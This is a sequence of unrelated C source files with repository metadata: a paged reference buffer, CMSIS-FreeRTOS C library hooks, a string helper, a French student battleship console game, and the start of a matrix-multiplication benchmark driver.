static int final_flush_buffer(struct pref__obj *p, struct pref__buffer *buf)
{
if (buf->refs_index < 0)
return 1;
if (buf->refs_index<NUM_REF_PER_PAGE)
{
for (int i=buf->refs_index; i<NUM_REF_PER_PAGE; ++i)
{
buf->refs[i] = -1;
}
}
buf->refs[NEXT_PAGE_INDEX] = -1;
buf->current_page_offset = -1;
buf->refs_index = 0;
return 0;
}
static int load_page(const struct pref__obj *p, struct pref__buffer *const buf, const signed long long index);
static int load_page(const struct pref__obj *p, struct pref__buffer *const buf, const signed long long index)
{
mmbuf__get_data(p->ref_file, (void **) &buf->refs, index, PAGE_SIZE);
return 0;
}
static int load_first_page(const struct pref__obj *p, struct pref__buffer *const buf);
static int load_first_page(const struct pref__obj *p, struct pref__buffer *const buf)
{
int rc = load_page(p, buf, buf->first_page_offset);
buf->global_index = 0;
return rc;
}
static int load_next_page(const struct pref__obj *p, struct pref__buffer *const buf);
static int load_next_page(const struct pref__obj *p, struct pref__buffer *const buf)
{
int rc;
if (buf->refs[NEXT_PAGE_INDEX] == -1)
{
rc = 1;
}
else
{
rc = load_page(p, buf, buf->refs[NEXT_PAGE_INDEX]);
buf->global_index += NEXT_PAGE_INDEX;
}
return rc;
}
static int pref__setup_rbuffer(const struct pref__obj *p, struct pref__buffer *const buf, const signed long long offset);
static int pref__setup_rbuffer(const struct pref__obj *p, struct pref__buffer *const buf, const signed long long offset)
{
buf->refs_index = 0; // We never use this here
buf->refs = ( (signed long long *) malloc(sizeof(signed long long [SIZE_OF_ARRAY])) );
int error = 0;
if (p->mode=='r')
{
buf->first_page_offset = offset;
buf->current_page_offset = offset;
}
else
{
error = -1;
}
load_first_page(p, buf);
return error; // zero on success else positive error code.
}
static int pref__setup_wbuffer(struct pref__obj *const p, struct pref__buffer *const buf);
static int pref__setup_wbuffer(struct pref__obj *const p, struct pref__buffer *const buf)
{
buf->refs_index = 0;
buf->global_index = -1;
buf->refs = ( (signed long long *) malloc(sizeof(signed long long [SIZE_OF_ARRAY])) );
int error = 0;
if (p->mode=='w')
{
char *new_page_p;
buf->first_page_offset = new_page(p, &new_page_p);
buf->refs = (signed long long *) new_page_p;
buf->current_page_offset = buf->first_page_offset;
}
else
{
error = -1;
}
return error; // zero on success else positive error code.
}
/*---
GLOBAL METHODS
---*/
int pref__open(struct pref__obj *const p, const char *ref_file_path, const char mode)
{
p->mode = mode;
p->ref_file = malloc(sizeof(struct mmbuf_obj));
p->offset = 0;
strcpy(p->ref_file_path, ref_file_path);
char mode_with_hint[3];
if (mode=='r')
strcpy(mode_with_hint, "r"); //'rr' Read random, 'rs' sometimes want to read sequential!!!!!!!!
else if (mode=='w')
strcpy(mode_with_hint, "ws"); // Write sequential
else
{
printf("Bad mode %c \n", mode);
exit(EXIT_FAILURE);
}
mmbuf__setup(p->ref_file, ref_file_path, mode_with_hint);
return 0;
}
int pref__close(const struct pref__obj * p)
{
mmbuf__teardown(p->ref_file);
free(p->ref_file);
return 0;
}
// zero on success else positive error code.
int pref__setup_buffer(struct pref__obj *const p, struct pref__buffer *const buf, ...)
{
if (p->mode=='w')
{
return pref__setup_wbuffer(p, buf);
}
else if (p->mode=='r')
{
va_list ap;
va_start(ap, buf);
signed long long offset = va_arg(ap, signed long long);
va_end(ap);
return pref__setup_rbuffer(p, buf, offset);
}
else
{
return -1;
}
}
int pref__teardown_buffer(struct pref__obj *const p, struct pref__buffer *const buf)
{
if (buf->refs_index > 0)
{
//printf("Flushing buffer\n");
final_flush_buffer(p, buf);
}
int error = 0;
return error; // zero on success else positive error code.
}
/*---
WRITE METHODS
---*/
signed long long pref__append(struct pref__obj *const p, struct pref__buffer *const buf, const signed long long ref)
{
buf->refs[buf->refs_index] = ref;
buf->refs_index += 1;
buf->global_index += 1;
if (buf->refs_index >= NUM_REF_PER_PAGE)
{
flush_buffer(p, buf);
}
return 0;
}
/*---
READ METHODS
---*/
signed long long pref__geti(const struct pref__obj *p, struct pref__buffer *const buf, const unsigned long long index)
{
// If index is negative we are in trouble.
bool not_found = true;
while (not_found)
{
if (index < buf->global_index)
{
load_first_page(p, buf);
}
else if ( (index >= buf->global_index ) && (index < (buf->global_index+NUM_REF_PER_PAGE)) )
{
return buf->refs[index - buf->global_index];
}
else if (index >= buf->global_index+NUM_REF_PER_PAGE)
{
int error = load_next_page(p, buf);
if (error)
return -1;
}
}
return -1;
}
| 2.484375 | 2 |
2024-11-18T20:01:21.397002+00:00 | 2023-07-24T14:03:20 | f56ee001cf1aabbe159b858d6f6dc67a45333f39 | {
"blob_id": "f56ee001cf1aabbe159b858d6f6dc67a45333f39",
"branch_name": "refs/heads/main",
"committer_date": "2023-07-28T12:22:38",
"content_id": "e9a93a17442daf22add97ce9a67bd578011aba33",
"detected_licenses": [
"MIT",
"Apache-2.0"
],
"directory_id": "1fd7c3c65b68eb2516a75ef28166d8c187e03746",
"extension": "c",
"filename": "clib_arm.c",
"fork_events_count": 165,
"gha_created_at": "2017-01-11T13:06:10",
"gha_event_created_at": "2023-09-05T09:44:02",
"gha_language": "C",
"gha_license_id": "NOASSERTION",
"github_id": 78639798,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5912,
"license": "MIT,Apache-2.0",
"license_type": "permissive",
"path": "/CMSIS/RTOS2/FreeRTOS/Source/ARM/clib_arm.c",
"provenance": "stackv2-0028.json.gz:145",
"repo_name": "ARM-software/CMSIS-FreeRTOS",
"revision_date": "2023-07-24T14:03:20",
"revision_id": "1a50b000a285acca8fe44433aa433fad843fa496",
"snapshot_id": "db96a64caf954437d21474911c220811d42cff90",
"src_encoding": "UTF-8",
"star_events_count": 461,
"url": "https://raw.githubusercontent.com/ARM-software/CMSIS-FreeRTOS/1a50b000a285acca8fe44433aa433fad843fa496/CMSIS/RTOS2/FreeRTOS/Source/ARM/clib_arm.c",
"visit_date": "2023-08-23T19:27:13.352658"
} | stackv2 | /* --------------------------------------------------------------------------
* Copyright (c) 2013-2022 Arm Limited. All rights reserved.
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the License); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an AS IS BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Name: clib_arm.c
* Purpose: ARM C library startup and initialization support
*
*---------------------------------------------------------------------------*/
#include <stdint.h>
#include <stddef.h>
#include "FreeRTOS.h" // ARM.FreeRTOS::RTOS:Core
#include "task.h" // ARM.FreeRTOS::RTOS:Core
#include "semphr.h" // ARM.FreeRTOS::RTOS:Core
/* Define the number of Threads which use standard C/C++ library libspace */
#ifndef OS_THREAD_LIBSPACE_NUM
#define OS_THREAD_LIBSPACE_NUM 4
#endif
/* Define the number of Mutexes used by standard C/C++ library for stream protection */
#ifndef OS_MUTEX_CLIB_NUM
#define OS_MUTEX_CLIB_NUM 5
#endif
/*----------------------------------------------------------------------------*/
/* Initialization after stack and heap setup */
#if defined(__CC_ARM) || (defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050))
#ifndef __MICROLIB
__WEAK
void _platform_post_stackheap_init (void);
void _platform_post_stackheap_init (void) {
/* Initialize OS, memory, etc. */
#if defined(RTE_Compiler_EventRecorder)
EvrFreeRTOSSetup(0);
#endif
}
#endif /* __MICROLIB */
#elif defined(__GNUC__)
__WEAK
void software_init_hook (void);
void software_init_hook (void) {
/* Initialize OS, memory, etc. */
#if defined(RTE_Compiler_EventRecorder)
EvrFreeRTOSSetup(0);
#endif
}
#endif
/*----------------------------------------------------------------------------*/
/* C/C++ Standard Library Multithreading Interface */
#if (( defined(__CC_ARM) || (defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050))) && !defined(__MICROLIB))
#define LIBSPACE_SIZE 96
/* Libspace memory pool */
static uint32_t os_libspace[OS_THREAD_LIBSPACE_NUM+1][LIBSPACE_SIZE/sizeof(uint32_t)];
/* Array of Threads (IDs) using libspace */
static TaskHandle_t os_libspace_id[OS_THREAD_LIBSPACE_NUM];
/* OS Kernel state checking */
static uint32_t os_kernel_is_active (void) {
if (xTaskGetSchedulerState() == taskSCHEDULER_RUNNING) {
return 1U;
} else {
return 0U;
}
}
/* Check if processor is in Thread or Handler mode */
static uint32_t is_thread_mode (void) {
if (__get_IPSR() == 0U) {
return 1U; /* Thread mode */
} else {
return 0U; /* Handler mode */
}
}
/* Provide libspace for current thread */
void *__user_perthread_libspace (void);
void *__user_perthread_libspace (void) {
TaskHandle_t id;
uint32_t n;
if (!os_kernel_is_active()) {
return (void *)&os_libspace[OS_THREAD_LIBSPACE_NUM][0];
}
id = xTaskGetCurrentTaskHandle();
for (n = 0U; n < OS_THREAD_LIBSPACE_NUM; n++) {
if (os_libspace_id[n] == NULL) {
os_libspace_id[n] = id;
return (void *)&os_libspace[n][0];
}
if (os_libspace_id[n] == id) {
return (void *)&os_libspace[n][0];
}
}
return (void *)&os_libspace[n][0];
}
/*----------------------------------------------------------------------------*/
#if (OS_MUTEX_CLIB_NUM > 0)
static StaticSemaphore_t clib_mutex_cb[OS_MUTEX_CLIB_NUM];
static SemaphoreHandle_t clib_mutex_id[OS_MUTEX_CLIB_NUM];
#endif
/* Define mutex object and function prototypes */
typedef void *mutex;
__USED int _mutex_initialize(mutex *m);
__USED void _mutex_acquire (mutex *m);
__USED void _mutex_release (mutex *m);
__USED void _mutex_free (mutex *m);
/* Initialize mutex */
int _mutex_initialize(mutex *m) {
#if (OS_MUTEX_CLIB_NUM > 0)
uint32_t i;
#endif
*m = NULL;
#if (OS_MUTEX_CLIB_NUM > 0)
for (i = 0U; i < OS_MUTEX_CLIB_NUM; i++) {
if (clib_mutex_id[i] == NULL) {
/* Create mutex using static memory */
clib_mutex_id[i] = xSemaphoreCreateMutexStatic(&clib_mutex_cb[i]);
/* Return mutex id */
*m = clib_mutex_id[i];
break;
}
}
#endif
if ((*m == NULL) && (os_kernel_is_active())) {
/* Create mutex using dynamic memory */
*m = xSemaphoreCreateMutex();
}
/* FreeRTOS disables interrupts when its API is called before the kernel is started. */
/* This is pre-main context and since interrupts shall not happen before reaching */
/* main we can re-enable interrupts and have consistent state when main gets called. */
portENABLE_INTERRUPTS();
if (*m == NULL) {
return 0;
}
return 1;
}
/* Acquire mutex */
void _mutex_acquire(mutex *m) {
/* Don't allow mutex operations when the kernel is not switching tasks and also */
/* block protection when in interrupt. Using stdio streams in interrupt is bad */
/* practice, but some applications call printf as last resort for debug purposes. */
if (os_kernel_is_active() && is_thread_mode()) {
xSemaphoreTake(*m, portMAX_DELAY);
}
}
/* Release mutex */
void _mutex_release(mutex *m) {
if (os_kernel_is_active() && is_thread_mode()) {
xSemaphoreGive(*m);
}
}
/* Free mutex */
void _mutex_free(mutex *m) {
#if (OS_MUTEX_CLIB_NUM > 0)
uint32_t i;
#endif
vSemaphoreDelete(*m);
#if (OS_MUTEX_CLIB_NUM > 0)
/* Check if mutex was using static memory */
for (i = 0U; i < OS_MUTEX_CLIB_NUM; i++) {
if (*m == clib_mutex_id[i]) {
clib_mutex_id[i] = NULL;
break;
}
}
#endif
}
#endif
| 2 | 2 |
2024-11-18T20:01:21.584100+00:00 | 2018-11-10T21:54:07 | b1e77c43ee32de96223878c2a3b860eaea1aa00b | {
"blob_id": "b1e77c43ee32de96223878c2a3b860eaea1aa00b",
"branch_name": "refs/heads/master",
"committer_date": "2018-11-10T21:54:07",
"content_id": "1d07148531e7031354af17cdd90ffdbb7522ecdf",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "151b24446ff8ce967b1a02d117d77419709e7d68",
"extension": "c",
"filename": "sputs.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 157024986,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 193,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/src/libburte/sputs.c",
"provenance": "stackv2-0028.json.gz:401",
"repo_name": "robodan/burte",
"revision_date": "2018-11-10T21:54:07",
"revision_id": "e0ab58374d26957aeea852853232d25fe85bbde9",
"snapshot_id": "24c79ca9097ddd92c44ffcce5352bc215fc2eabe",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/robodan/burte/e0ab58374d26957aeea852853232d25fe85bbde9/src/libburte/sputs.c",
"visit_date": "2020-04-05T16:42:11.501576"
} | stackv2 | /* output a string to a string, and return a pointer to the
end of the string. */
#include <stdio.h>
char *sputs (str, s)
char *str, *s;
{
while (*s++ = *str++);
return (--s);
}
| 2.5 | 2 |
2024-11-18T20:12:32.086109+00:00 | 2021-04-02T21:18:59 | 093ba02e16ae7c98d00993592b6f56c896c1df48 | {
"blob_id": "093ba02e16ae7c98d00993592b6f56c896c1df48",
"branch_name": "refs/heads/main",
"committer_date": "2021-04-02T21:18:59",
"content_id": "f40046ad078d32af16c32aa6e8ee51d59db14acb",
"detected_licenses": [
"Unlicense"
],
"directory_id": "9dc3a2fd16cb071d4e1b0f5bf085a11f7a289167",
"extension": "c",
"filename": "main.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 343452710,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 15727,
"license": "Unlicense",
"license_type": "permissive",
"path": "/main.c",
"provenance": "stackv2-0028.json.gz:85593",
"repo_name": "tvarlindo/Bataille-Navale-2021",
"revision_date": "2021-04-02T21:18:59",
"revision_id": "29bf105c05431afb46739056ad49ce99473f8e53",
"snapshot_id": "1ebee26b6790e19da585bb538a75a7833fbdbeee",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/tvarlindo/Bataille-Navale-2021/29bf105c05431afb46739056ad49ce99473f8e53/main.c",
"visit_date": "2023-03-29T00:58:07.135894"
} | stackv2 |
/**
* Arlindo Tavares Varela
* Bataille navale
* 04.03.2021
* 23.03.2021
* version 1.0
* *23.03 15h
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <stdbool.h>
#include <time.h>
#define AFFICHAGE_OBJETS {' ','B','X','O','C'}
#define DEBUG 0 // Changer à 1 pour afficher aussi les bateaux sur la grille
#define BATEAU 1
#define RATE 3
#define COULE 4
#define NOMBRE_JOUEURS 5
char joueurConnecte[20];
bool estConnecte = false;
/**
* Cette fonction permet de convertir une lettre entrée par l'utilisateur en un
* nombre utilisé par la suite comme coordonée verticale du tableau
* @param lettre: Lettre entrée par l'utilisateur
* @return coordonée numérique correspondante
*/
int **creerGrille() {
int **tab = calloc(10, sizeof(int*));
for(int i = 0; i < 10; i++) {
tab[i] = calloc(10, sizeof(int));
}
return tab;
}
int **recupererGrille() {
int chiffre = 1 + rand() % 5;
FILE* ChoixDeGrille = NULL;
int **tab = creerGrille();
switch(chiffre){
case 1: ChoixDeGrille = fopen("../grille1.txt","r");
break;
case 2: ChoixDeGrille = fopen("../grille2.txt","r");
break;
case 3: ChoixDeGrille = fopen("../grille3.txt","r");
break;
case 4: ChoixDeGrille = fopen("../grille4.txt","r");
break;
case 5: ChoixDeGrille = fopen("../grille5.txt","r");
break;
default:
break;
}
for (int ligne = 0; ligne < 10; ++ligne) {
for (int colonne = 0; colonne < 10; ++colonne) {
fscanf(ChoixDeGrille,"%d,",&tab[ligne][colonne]);
}
}
return tab;
}
int recupererCoordoneeDepuisLettre(char lettre) {
int coordonnee = 0;
switch (lettre) {
case 'A':
case 'a':
coordonnee = 0;
break;
case 'B':
case 'b':
coordonnee = 1;
break;
case 'C':
case 'c':
coordonnee = 2;
break;
case 'D':
case 'd':
coordonnee = 3;
break;
case 'E':
case 'e':
coordonnee = 4;
break;
case 'F':
case 'f':
coordonnee = 5;
break;
case 'G':
case 'g':
coordonnee = 6;
break;
case 'H':
case 'h':
coordonnee = 7;
break;
case 'I':
case 'i':
coordonnee = 8;
break;
case 'J':
case 'j':
coordonnee = 9;
break;
}
return coordonnee;
}
/**
* Fonction qui gère l'affichage de la grille en fonction du jeu
* @param grille mise à jour
*/
//Fonction pour affichage de la grille
void affichageGrille(int **tab) {
char affichageObjet[5] = AFFICHAGE_OBJETS;
printf(" A B C D E F G H I J\n");
printf(" ╔═══╦═══╦═══╦═══╦═══╦═══╦═══╦═══╦═══╦═══╗\n");
for (int ligneTableau = 0; ligneTableau < 10; ligneTableau++) {
// Séparateur partout sauf à la première ligne
if (ligneTableau != 0) {
printf(" ╠═══╬═══╬═══╬═══╬═══╬═══╬═══╬═══╬═══╬═══╣\n");
}
printf("%2d ║", ligneTableau + 1);
for (int colonneTableau = 0; colonneTableau < 10; colonneTableau++) {
// Affiche les bateaux que si debug à 1
if (tab[ligneTableau][colonneTableau] % 10 == BATEAU != 0) {
printf(" ║");
} else {
printf(" %c ║", affichageObjet[tab[ligneTableau][colonneTableau] % 10]);
}
}
printf("\n");
}
printf(" ╚═══╩═══╩═══╩═══╩═══╩═══╩═══╩═══╩═══╩═══╝\n\n");
}
void aideDuJeu() {
printf("\t\t\t\t╔═════════════════════════╗\n");
printf("\t\t\t\t║ Voici les règles du jeu:║\n");
printf("\t\t\t\t╚═════════════════════════╝\n");
printf("\t ╔═════════════════════════════════════════════════════════════════════╗\n");
printf("\t ║ Le jeu de la bataille navale, consiste a faire couler tous les ║\n");
printf("\t ║ bateaux de la flotte le plus rapidement possible. ║\n");
printf("\t ╚═════════════════════════════════════════════════════════════════════╝\n");
printf("\t ╔═══════════════════════════════════════════════════════════════════╗\n");
printf("\t ║ Vous devez choisir une coordonnée sur l'axe horizontal. Par ex: c ║\n");
printf("\t ║ \tpuis la coordonnée sur l'axe vertical: par ex. 4 ║\n");
printf("\t ╚═══════════════════════════════════════════════════════════════════╝\n");
printf(" ╔════════════════════════════════════════════════════════════════════════════════╗\n");
printf(" ║ Si votre choix atteint un bateau, vous verrez apparaître un [x] dans la grille ║\n");
printf(" ║ Si votre choix ne touche aucun bateau, vous verrez apparaître un [O] ║\n");
printf(" ╚════════════════════════════════════════════════════════════════════════════════╝\n");
printf("╔════════════════════════════════════════════════════════════════════════════════════════════╗\n");
printf("║ Lorsque vous aurez touché chaque case d'un même bateau, vous verrez apparaître des [C] ║\n");
printf("║ en lieu et place des [x], indiquant que ce batiment est coulé ou qu'il n'y a plus de cases ║\n");
printf("║ à toucher pour ce bâtiment. ║\n");
printf("║ Lorsque tous les bateaux seront coulés ( [C] sur la grille) vous aurez terminé la partie. ║\n");
printf("╚════════════════════════════════════════════════════════════════════════════════════════════╝\n");
printf("\t\t ╔═══════════════════════════════════════════════════════════╗\n");
printf("\t\t ║Pour rappel, les bateaux sont disposés soit à la verticale,║\n");
printf("\t\t ║\t soit à l'horizontale. Jamais en diagonale ║\n");
printf("\t\t ║ \t\tBONNE CHANCE MATELOT!!! ║\n");
printf("\t\t ╚═══════════════════════════════════════════════════════════╝\n\n");
}
void authentification() {
bool loginReussi = 0;
char idJoueurValide[20];
char motDePasseValide[20];
char idJoueur[20];
char motDePasse[20];
FILE *fptr;
if ((fptr = fopen("C:\\Users\\Arlindo.TAVARES-VARE\\Bataille-Navale-2021\\cmake-build-debug\\utilisateurs.txt","r")) == NULL) {
printf("Error! opening file");
}
do {
printf("Veuillez mettre votre nom d'utilisateur : ");
scanf("%s", &idJoueur);
printf("Veuillez insérer votre mot de passe : ");
scanf("%s", &motDePasse);
for (int i = 0; i < 2; i++) {
fscanf(fptr, "%s", &idJoueurValide);
fscanf(fptr, "%s", &motDePasseValide);
fclose(fptr);
if (strcmp(idJoueurValide, idJoueur) == 0 && strcmp(motDePasseValide, motDePasse) == 0) {
loginReussi = 1;
estConnecte = true;
strcpy(joueurConnecte, idJoueur);
break;
}
}
if (!loginReussi) {
printf("Le mot de passe est incorrect, veuillez réessayer\n");
}
} while (!loginReussi);
}
int recupererNombreBateau(int **grille, int referenceBateau) {
int nombreBateau = 0;
for (int ligne = 0; ligne < 10; ligne++) {
for (int colonne = 0; colonne < 10; colonne++) {
if (grille[ligne][colonne] == referenceBateau) {
nombreBateau++;
}
}
}
return nombreBateau;
}
void coulerBateau(int **grille, int referenceBateau) {
for (int ligne = 0; ligne < 10; ligne++) {
for (int colonne = 0; colonne < 10; colonne++) {
if (grille[ligne][colonne] == (referenceBateau + 1)) {
grille[ligne][colonne] = COULE;
}
}
printf("\n");
}
}
//Fonction qui récupère le choix du menu
int choixMenu(){
int choixMenu;
printf("Que voulez-vous faire ?\n\n");
printf("\t1\t S'authentifier \n");
printf("\t2\t Jouer\n");
printf("\t3\t Afficher aide du jeu\n");
printf("\t4\t Quitter\n");
printf("\n-------------------------------------------------------------------------------------------------------");
printf("\nChoisissez une option [1-4] : ");
scanf("%d", &choixMenu);
fflush(stdin);
return choixMenu;
}
//Fonction qui contient le déroulement de la partie
void Jouer() {
int score = 1000;
char axeXLettre;
int colonne = 0;
int ligne = 0;
int victoire = 0; // represente les cases touchées
//char *MotDePasse;
//bool LoginReussi = 0;
bool jeuFini = false;
char *Utilisateurs[NOMBRE_JOUEURS][2] = {{"Joueur1", "MdpJ1"},
{"Joueur2", "MdpJ2"}};
int **tab = recupererGrille();
do {
if(estConnecte) {
printf("Vous etes connecte en tant que %s\nVotre score sera enregistre.\n", joueurConnecte);
}
affichageGrille(tab);
printf("Veuillez choisir les coordonéés de tir:\n");
printf("lettre:");
axeXLettre = getchar();
colonne = recupererCoordoneeDepuisLettre(axeXLettre);
printf("chiffre:");
scanf("%d", &ligne);
fflush(stdin);
ligne = ligne - 1;
if (DEBUG != 0) {
}
switch (tab[ligne][colonne] % 10) {
case 0:
printf("Tir Manqué, Rechargez les canons et tentez à nouveau...\n\n");
tab[ligne][colonne] = RATE;
score -= 200;
if(score <= 0) {
jeuFini = true;
}
break;
case 1:
printf("\n BRAVO!!! Vous avez touché un navire, continuez...\n\n\n");
int referenceBateau = tab[ligne][colonne];
victoire++;
tab[ligne][colonne]++;
if (recupererNombreBateau(tab, referenceBateau) == 0) {
printf("\n BRAVO!!! Vous avez coulé un navire, continuez...\n\n\n");
coulerBateau(tab, referenceBateau);
if(victoire == 17) {
jeuFini = true;
}
}
break;
case 2:
printf("vous avez avez déjà tiré sur cette case!!\n");
break;
default:
break;
}
} while (!jeuFini);
if(score <= 0) {
printf("\n _______ __ \n"
"/ \\ / | \n"
"$$$$$$$ |______ ______ ____$$ |__ __ \n"
"$$ |__$$ / \\ / \\ / $$ / | / |\n"
"$$ $$/$$$$$$ /$$$$$$ /$$$$$$$ $$ | $$ |\n"
"$$$$$$$/$$ $$ $$ | $$/$$ | $$ $$ | $$ |\n"
"$$ | $$$$$$$$/$$ | $$ \\__$$ $$ \\__$$ |\n"
"$$ | $$ $$ | $$ $$ $$ $$/ \n"
"$$/ $$$$$$$/$$/ $$$$$$$/ $$$$$$/ \n"
" \n"
" \n"
" \n\n"
"VOUS AVEZ PERDU. ESSAYEZ ENCORE...\n");
}
else {
printf(R"EOF(
/$$ /$$ /$$
|__/ | $$ |__/
/$$ /$$/$$ /$$$$$$$/$$$$$$ /$$$$$$ /$$ /$$$$$$ /$$$$$$
| $$ /$$| $$/$$_____|_ $$_/ /$$__ $| $$/$$__ $$/$$__ $$
\ $$/$$/| $| $$ | $$ | $$ \ $| $| $$ \__| $$$$$$$$
\ $$$/ | $| $$ | $$ /$| $$ | $| $| $$ | $$_____/
\ $/ | $| $$$$$$$ | $$$$| $$$$$$| $| $$ | $$$$$$$
\_/ |__/\_______/ \___/ \______/|__|__/ \_______/
)EOF");
printf("\nVotre score est de %d points.\n", score);
}
}
//Fonction pour affichage du titre
void affichageTitreMenu() {
system("cls");
printf(R"EOF(
__ __ ______ __ __ ______ __ _______ ______ ________ ________ __ ________
| \ | \ / \ | \ | \ / \ | \ | \ / \| \| \| \ | \
| $$\ | $$| $$$$$$\| $$ | $$| $$$$$$\| $$ | $$$$$$$\| $$$$$$\\$$$$$$$$ \$$$$$$$$| $$ | $$$$$$$$
| $$$\| $$| $$__| $$| $$ | $$| $$__| $$| $$ | $$__/ $$| $$__| $$ | $$ | $$ | $$ | $$__
| $$$$\ $$| $$ $$ \$$\ / $$| $$ $$| $$ | $$ $$| $$ $$ | $$ | $$ | $$ | $$ \
| $$\$$ $$| $$$$$$$$ \$$\ $$ | $$$$$$$$| $$ | $$$$$$$\| $$$$$$$$ | $$ | $$ | $$ | $$$$$
| $$ \$$$$| $$ | $$ \$$ $$ | $$ | $$| $$_____ | $$__/ $$| $$ | $$ | $$ | $$ | $$_____ | $$_____
| $$ \$$$| $$ | $$ \$$$ | $$ | $$| $$ \ | $$ $$| $$ | $$ | $$ | $$ | $$ \| $$ \
\$$ \$$ \$$ \$$ \$ \$$ \$$ \$$$$$$$$ \$$$$$$$ \$$ \$$ \$$ \$$ \$$$$$$$$ \$$$$$$$$
)EOF");
}
int main() {
SetConsoleOutputCP(65001);
int valeurChoix = 0;
srand(time(NULL));
do {
// Affiche le titre et le menu du jeu
affichageTitreMenu();
// Récupère le choix du menu
valeurChoix= choixMenu();
switch (valeurChoix) {
case 1:
authentification();
break;
case 2:
Jouer();
choixMenu();
break;
case 3:
aideDuJeu();
choixMenu();
break;
case 4:
printf("Quitter");
return 0;
default:
break;
}
} while (valeurChoix <= 1 || valeurChoix >= 4);
return 0;
}
| 2.96875 | 3 |
2024-11-18T20:12:32.143947+00:00 | 2023-04-26T15:39:25 | 43baf1c835bc0fc2c750d10e8d69cf41a38e5eb5 | {
"blob_id": "43baf1c835bc0fc2c750d10e8d69cf41a38e5eb5",
"branch_name": "refs/heads/master",
"committer_date": "2023-04-26T15:39:25",
"content_id": "cb3282989054eaabefe8a9b5117612690a840525",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "f231fd7cb34b042a91addf2e96468cc08ab785e3",
"extension": "c",
"filename": "driver.c",
"fork_events_count": 5,
"gha_created_at": "2016-07-31T20:12:02",
"gha_event_created_at": "2023-03-07T01:57:24",
"gha_language": "C++",
"gha_license_id": "Apache-2.0",
"github_id": 64613121,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5845,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/courses/UTAustinX UT.PHP.16.01x/Assignments/Week3/C/driver.c",
"provenance": "stackv2-0028.json.gz:85723",
"repo_name": "xunilrj/sandbox",
"revision_date": "2023-04-26T15:39:25",
"revision_id": "d65076ba487b8bf170368c9e0a0d23e0575fc09f",
"snapshot_id": "f1a0d7a1af536bea217bc713e748f04819c2480b",
"src_encoding": "UTF-8",
"star_events_count": 8,
"url": "https://raw.githubusercontent.com/xunilrj/sandbox/d65076ba487b8bf170368c9e0a0d23e0575fc09f/courses/UTAustinX UT.PHP.16.01x/Assignments/Week3/C/driver.c",
"visit_date": "2023-05-10T09:27:59.541942"
} | stackv2 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <time.h>
#define dabs( x ) ( (x) < 0 ? -(x) : x )
double FLA_Clock(); // This is a routine for extracting elapsed
// time borrowed from the libflame library
/* MaxAbsDiff computes the maximum absolute difference over all
corresponding elements of two matrices */
double MaxAbsDiff( int, int, double *, int, double *, int );
/* RandomMatrix overwrites a matrix with random values */
void RandomMatrix( int, int, double *, int );
/* Prototype for BLAS matrix-matrix multiplication routine (which we will
use for the reference implementation */
void dgemm_( char *, char *, // transA, transB
int *, int *, int *, // m, n, k
double *, double *, int *, // alpha, A, ldA
double *, int *, // B, ldB
double *, double *, int * ); // beta, C, ldC
/* Various constants that control what gets timed */
/* My_Gemm is a common interface to all the implementations we will
develop so we don't have to keep rewriting this driver routine. */
void MyGemm( int, int, int, double *, int, double *, int, double *, int );
int main(int argc, char *argv[])
{
int
m, n, k,
ldA, ldB, ldC,
size, first, last, inc,
i, irep,
nrepeats;
double
d_one = 1.0,
dtime, dtime_best,
diff, maxdiff = 0.0, gflops;
double
*A, *B, *C, *Cold, *Cref;
/* Every time trial is repeated "repeat" times and the fastest run in recorded */
printf( "%% number of repeats:" );
scanf( "%d", &nrepeats );
printf( "%% %d\n", nrepeats );
/* Timing trials for matrix sizes m=n=k=first to last in increments
of inc will be performed. (Actually, we are going to go from
largest to smallest since this seems to give more reliable
timings. */
printf( "%% enter first, last, inc:" );
scanf( "%d%d%d", &first, &last, &inc );
/* Adjust first and last so that they are multiples of inc */
last = ( last / inc ) * inc;
first = ( first / inc ) * inc;
first = ( first == 0 ? inc : first );
printf( "%% %d %d %d \n", first, last, inc );
printf( "data = [\n" );
printf( "%% n reference | current implementation \n" );
printf( "%% time GFLOPS | time GFLOPS diff \n" );
i = 1;
for ( size=last; size>= first; size-=inc ){
/* we will only time cases where all three matrices are square */
m = n = k = size;
ldA = ldB = ldC = size;
/* Gflops performed */
gflops = 2.0 * m * n * k * 1e-09;
/* Allocate space for the matrices. We will use five arrays:
A will be the address where A is stored. Addressed with alpha(i,j).
B will be the address where B is stored. Addressed with beta(i,j).
C will be the address where C is stored. Addressed with gamma(i,j).
Now, we will compute C = A B + C with via routine MyGemm
and also with a reference implementation. Therefore, we will
utilize two more arrays:
Cold will be the address where the original matrix C is
stored.
Cref will be the address where the result of computing C = A B
+ C computed with the reference implementation will be stored.
*/
A = ( double * ) malloc( ldA * k * sizeof( double ) );
B = ( double * ) malloc( ldB * n * sizeof( double ) );
C = ( double * ) malloc( ldC * n * sizeof( double ) );
Cold = ( double * ) malloc( ldC * n * sizeof( double ) );
Cref = ( double * ) malloc( ldC * n * sizeof( double ) );
/* Generate random matrix A */
RandomMatrix( m, k, A, ldA );
/* Generate random matrix B */
RandomMatrix( k, n, B, ldB );
